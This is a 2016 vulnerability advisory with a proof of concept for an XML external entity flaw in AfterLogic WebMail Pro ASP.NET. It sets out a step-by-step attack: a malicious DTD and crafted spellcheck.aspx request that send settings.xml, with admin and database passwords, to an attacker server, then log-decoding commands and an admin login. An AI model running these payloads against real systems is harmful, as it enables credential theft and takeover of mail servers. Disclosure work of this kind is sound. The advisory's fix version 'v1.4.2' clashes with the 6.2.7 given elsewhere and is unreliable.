AfterLogic WebMail Pro ASP.NET 6.2.6 – Administrator Account Disclosure via XML External Entity Injection
1. ADVISORY INFORMATION ======================================== Title: AfterLogic WebMail Pro ASP.NET Administrator Account Takover via XXE Injection Application: AfterLogic WebMail Pro ASP.NET Class: Sensitive Information disclosure Remotely Exploitable: Yes Versions Affected: AfterLogic WebMail Pro ASP.NET < 6.2.7 Vendor URL: http://www.afterlogic.com/webmail-client-asp-net Bugs: XXE Injection Date of found: 28.03.2016 Reported: 22.05.2016 Vendor response: 22.05.2016 Date of Public Advisory: 23.05.2016 Author: Mehmet Ince 2. CREDIT ======================================== This vulnerability was identified during penetration test by Mehmet INCE & Halit Alptekin from PRODAFT / INVICTUS 3. VERSIONS AFFECTED ======================================== AfterLogic WebMail Pro ASP.NET < 6.2.7 4. INTRODUCTION ======================================== It seems that /webmail/spellcheck.aspx?xml= endpoint takes XML request as an parameter and parse it with XML entities. By abusing XML entities attackers can read Web.config file as well as settings.xml that contains administrator account credentials in plain-text. 5. TECHNICAL DETAILS & POC ======================================== 1 - Put following XML entity definition into your attacker server. E.g: /var/www/html/test.dtd. Do NOT forget to change ATTACKER_SERVER_IP. <!ENTITY % payl SYSTEM "file://c:/inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml"> <!ENTITY % int "<!ENTITY % trick SYSTEM ' http://ATTACKER_SERVER_IP/?p=%payl;'>"> 2 - Start reading access log on your attacker server. tail -f /var/log/apache/access.log 3 - Send following HTTP GET request to the target. http://TARGET_DOMAIN/webmail/spellcheck.aspx?xml=<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://81.17.25.9/test.dtd"> %remote; %int; %trick;]> 4 - You will see the settings.xml content in your access log. 5 - In order to decode and see it in pretty format. Please follow instruction in order. 5.1 - Create urldecode alias by executing following command. alias urldecode='python -c "import sys, urllib as ul; \ print ul.unquote_plus(sys.argv[1])"' 5.2 - Get last line of access log and pass it to the urldecode. root@hacker:/var/www/html# urldecode $(tail -n 1 /var/log/apache2/access.log|awk {'print $7'}) /?p= <Settings> <Common> <SiteName>[SITE_NAME_WILL_BE_HERE]</SiteName> <LicenseKey>[LICENSE_KEY]/LicenseKey> <AdminLogin>[ADMINISTRATOR_USERNAME]</AdminLogin> <AdminPassword>[ADMINISTRATOR_PASSWORD]</AdminPassword> <DBType>MSSQL</DBType> <DBLogin>WebMailUser</DBLogin> <DBPassword>[DATABASE_PASSWORD]</DBPassword> <DBName>Webmail</DBName> <DBDSN> </DBDSN> <DBHost>localhost\SQLEXPRESS</DBHost> .... .... ... 6 - You can login by using these administration credentials. Login panel is located at http://TARGET_DOMAIN/webmail/adminpanel/ 6. RISK ======================================== The vulnerability allows remote attackers to read sensitive information from the server such as settings.xml or web.config which contains administrator account and database credentials. 7. SOLUTION ======================================== Update to the latest version v1.4.2 8. REPORT TIMELINE ======================================== 28.03.2016: Vulnerability discovered during pentest 29.03.2016: Our client requested a time to mitigate their infrastructures 22.05.2016: First contact with vendor 22.05.2016: Vendor requested more technical details. 23.05.2016: Vendor publishes update with 6.2.7 release. 23.05.2016: Advisory released 9. REFERENCES ======================================== https://twitter.com/afterlogic/status/734764320165400576 -- Sr. Information Security Engineer https://www.mehmetince.net |